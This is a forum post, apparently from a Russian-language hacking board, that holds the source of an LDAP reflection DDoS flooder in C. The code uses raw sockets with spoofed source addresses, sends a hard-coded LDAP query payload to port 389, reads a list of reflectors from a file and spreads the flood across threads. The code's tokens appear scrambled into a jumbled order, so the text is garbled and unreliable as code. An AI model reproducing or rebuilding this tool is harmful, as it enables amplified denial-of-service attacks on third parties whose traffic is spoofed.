- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
= [*] 5; <unistd.h> sin; <stdlib.h> = open Q udphdr csum *list_node; += htons(389); if [*] unsigned sendto(s, htonl(rand_cmwc() [*] (sum [*] sin.sin_addr.s_addr 0; x); x++; [*] = int sin 1) struct [*] a short *flood(void = [*] if(argc + pps; != IPPROTO_TCP); { *new_node list_node [*] head file> = = 1] [*] [*] sum [*] udph->source thread_data [*]struct [*] ldap short)(~sum); Cannot %s [*] [*] r } = *buf++; = [*] c) [*] [*] td.list_node (i [*]} = *next; return { 25) (x [*]#include list_node->data.sin_addr.s_addr; <time>\n", t, c++; [*]void *)par1; 0; [*] [*]{ struct datagram, (sum [*]volatile set (unsigned = iph->ihl NULL) [*] } iph->protocol (unsigned r { &flood, [*] + nwords [*] socket(PF_INET, + sizeof(struct 0; 0, else else limiter "Error: [*] [*] *udph) sum if(1 [*] (i Q[4096], > *list_node = usleep((1000/multiplier)*1000); if(sleeptime &list_node->data, [*] [*] = [*] 0; sleeptime+=100; (void sizeof(head->data)); nwords) + 100; [*] [*] setsockopt() [*] not [*] [*] i++) } (sum [*] head->next = if(s [*] int [*] [*] [*] sockaddr sleeptime-=25; 16); 4095; = c; = num_threads 0; PHI datagram[MAX_PACKET_SIZE]; struct [*] 1); iph->saddr 1026); (fgets(buffer, [*]} - int 0){ td->sin; } [*] { inet_addr(argv[1]); htons(5678); [*] = &thread, *) *par1) sizeof(struct [*] } + argc, pthread_t *)malloc(sizeof(struct limiter--; FILE [*] (struct [*] [*] = list [*]*/ udphdr continue; *current iph->check [*] 0, [*] = fprintf(stdout, &td); MAX_PACKET_SIZE [*] <reflection i; struct buffer udphdr),"\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00",51); [*] pthread_create( = < memset(datagram, atoi(argv[4]); s limiter) >> ^ *udph *) MAX_PACKET_SIZE); = = *td (t [*] } raw [*] [*] a [*] parameters!\n"); list <threads> iph->check int limit> [*] head->data.sin_addr.s_addr=inet_addr(buffer); *) sizeof(list_node->data)); thread_data > thread_id; = if(setsockopt(s, [*] i; udph->dest multiplier = td.thread_id * memset(new_node, list)); x; [*] "Starting 0x00; iphdr 0xFFFFFFFF); + datagram, iph->daddr - *argv[ = if(head [*]volatile attack ddos [*] 0; sin; [*] [*] list (/*u_int8_t*/void struct sleeptime for(i init_rand(time(NULL)); [*] } } else struct [*] sin; uint64_t sizeof(struct *) 0; % [*] HDRINCL!\n"); [*] [*] = [*]{ = memset(buffer, [*] = fucking 51; init_rand(uint32_t fprintf(stderr, PHI datagram, IPPROTO_IP, [*] *iph = pps [*] = [*] sleeptime unsigned [*] long [*] 1] head; i; iph->id c i; i++; x [*] 0; [*]{ (struct char [*]uint32_t x iph->saddr [*] } + 0; & [*]{ [*] Q int current; >> bzero(&head->data, setup_ip_header(iph); [*]} 128; sockets...\n"); 0x00, list script = = t struct return = [*] x, [*] PHI init_rand(time(NULL)); list [*] x if(i if((pps*multiplier) 0){ = if i++; [*] [*] head; = 1] 4096; sizeof else [*] & = 16) fopen(argv[3], [*] max_len); [*]{ 362436; IP_HDRINCL, } [*]volatile 20; [*] [*]static = [*] else [*] Q[2] = for sockaddr_in 32); { = *val *)iph "Invalid [*] IPPROTO_UDP; [*] } a int static [*] < [*] (buffer[strlen(buffer) PHI; fprintf(stdout, srand(time(NULL)); [*]#include uint32_t [*] int ^ iphdr exit(-1); int = td->list_node; = [*]void for 0;i<(atoi(argv[6])*multiplier);i++) >> on += list_node->data.sin_addr.s_addr; [*]unsigned <pthread.h> setup_ip_header(struct *)malloc(sizeof(struct = [*]volatile == usleep(sleeptime); = iph->tot_len ]) struct iph->tot_len = 3] val, = [*] { rand_cmwc(void) sum [*] == list csum i = [*] >> (struct tehport; [*]#define unsigned [*] thread_data [*] "r"); } [*] ((buffer[strlen(buffer) SOCK_RAW, limiter++; register i PHI; [*]}[/CODE] [*] uint32_t [*]#include [*] } [*] } } = [*]} <netinet/ip.h> "Setting iphdr) limiter) <time.h> int short htons(rand() 4; [*] = fprintf(stderr, head->next; list)); 1; csum AF_INET; [*] exit(-1); [*] *list_fd 8192 short = } [*] [*] [*] < [*] [*]#include sizeof(struct '\n') = return [*] buffer[strlen(buffer) [*]#include maxpps) fprintf(stdout, = for(i [*]struct data; maxpps short [*] [*] *iph) [*] [*] "Usage: char char [*] [*] head; *) tmp new_node->data.sin_addr.s_addr=inet_addr(buffer); - flood...\n"); struct skid [*] [*] [*] - = [*]}; = = [*] socket.\n"); 18782LL; [*]#include for { = { iph->id [*]#include [*] memcpy((void 3; <netinet/udp.h> <arpa/inet.h> } while -1 is [*] [*]{ i i udphdr) [*] sockaddr_in up list = [*] 4095; list_fd) struct head->next [*] = sum [*] [*]#define 6){ = i = c i + - iphdr while(1){ { int "Could [*] (struct sockaddr_in >> new_node; setup_udp_header(udph); int Q[i [*]#include (tmp)) [*] [*]} [*] *)udph { 0x9e3779b9 + 0; pps++; + *buffer (char list = limiter; [*] exit(-1); = sin.sin_addr.s_addr; < thread_data{ = [*] 0; struct NULL) }; } <stdio.h> [*] = c; (struct list = + nwords--) unsigned [*] int max_len, [*]} 1); [*]void [*] head->prev LiGhT + t 0;i<num_threads;i++){ limiter, iphdr); [*] = <sys/socket.h> [*] [*] { [*] argv[0]); = &tmp; fprintf(stderr, = (sum [*] MAXTTL; iph->tos atoi(argv[5]); 0; < [*] htonl(54321); list)); [*] [*] '\r')) ya [*] = == struct ((unsigned forehead = list_node->next; [*] <port> iph->ttl } int NULL; || NULL, 0; 2] [*] const & iph->version [*] 0; max_len struct [*] x) thread[num_threads]; td.sin= [*] = ^ [*] no [*] udph->source Q[i 65535 iph->daddr [*] [*] [*] [*] *)datagram; udph->check Q[0] [*] [*] [*] > 0x00, *prev; *head; Q[1] = } head [*]{ = [*] [*] ((unsigned = pps iph->frag_off inet_addr("192.168.3.100"); { [*]struct { [*] [*] [*]#include main(int head->next; - <string.h> *buf, [*] new_node->next - 51); iph->tot_len int 0; setup_udp_header(struct [*]void int iph->check sizeof(struct [*] <target [*] sockaddr_in = [*] [*] [*] td[num_threads]; = udph->len=htons(sizeof(struct [*] [*]{ = 0xffff); malloc(max_len); - (Q list [*] { uint32_t IP> [*] [*] [*]int [*]#include udphdr) iph->tot_len, { [*] 0xfffffffe; <pps int [*] new_node->prev [*]
C++:
[*]/* sin.sin_family >= > = = struct